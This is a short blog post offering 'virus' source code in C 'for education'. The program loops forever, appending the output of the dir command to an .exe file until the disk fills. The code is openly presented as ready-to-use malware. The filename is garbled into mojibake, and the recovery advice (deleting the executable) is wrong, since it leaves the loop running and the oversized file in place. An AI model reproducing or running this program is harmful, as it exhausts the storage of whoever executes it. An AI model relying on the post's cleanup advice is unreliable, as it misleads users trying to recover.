Wednesday, August 6, 2014

Virus Code in C for Education Purpose

The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call “dir>>â.ša.exe” will execute the dos command ‘dir’ and redirect its output to a file “â.ša.exe”.So running the program in a folder having many files and folders will increase the size of “â.ša.exe” in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the dveer_virus.exe file.

/*dveer_virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system(“dir>>â.ša.exe”);
}
}

No comments:

Post a Comment

Dharamart.blogspot.in